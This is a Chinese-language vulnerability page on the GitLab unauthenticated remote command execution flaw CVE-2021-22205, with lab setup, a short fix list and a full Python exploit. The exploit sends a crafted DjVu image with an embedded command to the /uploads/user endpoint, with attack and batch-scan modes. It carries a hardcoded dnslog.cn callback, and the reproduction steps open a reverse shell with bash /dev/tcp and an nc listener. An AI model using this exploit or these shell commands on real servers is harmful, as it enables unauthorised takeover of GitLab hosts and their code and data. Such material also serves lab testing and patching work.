# GitLab 远程命令执行漏洞 CVE-2021-22205 ## 漏洞描述 GitLab是一款Ruby开发的Git项目管理平台。在11.9以后的GitLab中，因为使用了图片处理工具ExifTool而受到漏洞[CVE-2021-22204](https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html)的影响，攻击者可以通过一个未授权的接口上传一张恶意构造的图片，进而在GitLab服务器上执行任意命令。 参考链接： - https://hackerone.com/reports/1154542 - https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html - https://security.humanativaspa.it/gitlab-ce-cve-2021-22205-in-the-wild/ - https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-22205.yaml ## 环境搭建 Vulhub执行如下命令启动一个GitLab 13.10.1版本服务器： ``` docker-compose up -d ``` 环境启动后，访问`http://your-ip:8080`即可查看到GitLab的登录页面。 ## 漏洞复现 GitLab的/uploads/user接口可以上传图片且无需认证，利用[poc.py](https://github.com/vulhub/vulhub/blob/master/gitlab/CVE-2021-22205/poc.py)脚本来测试这个漏洞： ``` python poc.py http://your-ip:8080 "touch /tmp/success" ``` ![image-20220223215034526](images/202202232150565.png) 进入容器内，可见`touch /tmp/success`已成功执行： ![image-20220223214957770](images/202202232149869.png) 另一个 exp：https://github.com/Al1ex/CVE-2021-22205 漏洞检测： ``` python3 CVE-2021-22205.py -v true -t http://your-target-ip:port/ ``` DNSLog 回显： ``` python3 CVE-2021-22205.py -a true -t http://your-target-ip:port/ -c "curl http://your-ip/1.txt" ``` 反弹 Shell： ``` # 写shell python3 CVE-2021-22205.py -a true -t http://your-target-ip:port/ -c "echo 'bash -i >& /dev/tcp/your-ip/9999 0>&1' > /tmp/1.sh" # 赋予执行权限 python3 CVE-2021-22205.py -a true -t http://your-target-ip:port/ -c "chmod +x /tmp/1.sh" # 监听反弹shell端口 nc -vvl 9999 # 运行shell python3 CVE-2021-22205.py -a true -t http://your-target-ip:port/ -c "/bin/bash /tmp/1.sh" ``` ## 漏洞修复 1. 设置 Gitlab 仅对可信地址开放； 2. 升级至安全版本： GitLab（CE/EE） >= 13.8.8 GitLab（CE/EE） >= 13.9.6 GitLab（CE/EE） >= 13.10.3 ## 漏洞POC exp：https://github.com/Al1ex/CVE-2021-22205 ``` import requests from bs4 import BeautifulSoup import base64 import random import sys import os import argparse requests.packages.urllib3.disable_warnings() def title(): print(""" ______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____ / ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___| | | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \ | |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) | \____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/ Author:Al1ex@Heptagram Github:https://github.com/Al1ex """) print(''' 验证模式：python CVE-2021-22205.py -v true -t target_url 攻击模式：python CVE-2021-22205.py -a true -t target_url -c command 批量检测：python CVE-2021-22205.py -s true -f file ''') def check(target_url): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="lxml") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 目标 {} 存在漏洞".format(target_url)) else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print(e) def attack(target_url,command): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="lxml") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 目标 {} 存在漏洞".format(target_url)) print("[+] 请到dnslog或主机检查执行结果") else: print("[-] 目标 {} 不存在漏洞".format(target_url)) except Exception as e: print(e) def scan(file): for url_link in open(file, 'r', encoding='utf-8'): if url_link.strip() != '': url_path = format_url(url_link.strip()) check(url_path) def format_url(url): try: if url[:4] != "http": url = "https://" + url url = url.strip() return url except Exception as e: print('URL 错误 {0}'.format(url)) def main(): parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ') parser.add_argument('-t', '--target', type=str, help=' 目标URL ') parser.add_argument('-a', '--attack', type=bool, help=' 攻击模式 ') parser.add_argument('-c', '--command', type=str, help=' 执行命令 ') parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ') parser.add_argument('-f', '--file', type=str, help=' 文件路径 ') args = parser.parse_args() verify_model = args.verify target_url = args.target attack_model = args.attack command = args.command scan_model = args.scan file = args.file if verify_model is True and target_url !=None: check(target_url) elif attack_model is True and target_url != None and command != None: attack(target_url,command) elif scan_model is True and file != None: scan(file) else: sys.exit(0) if __name__ == '__main__': title() main() ```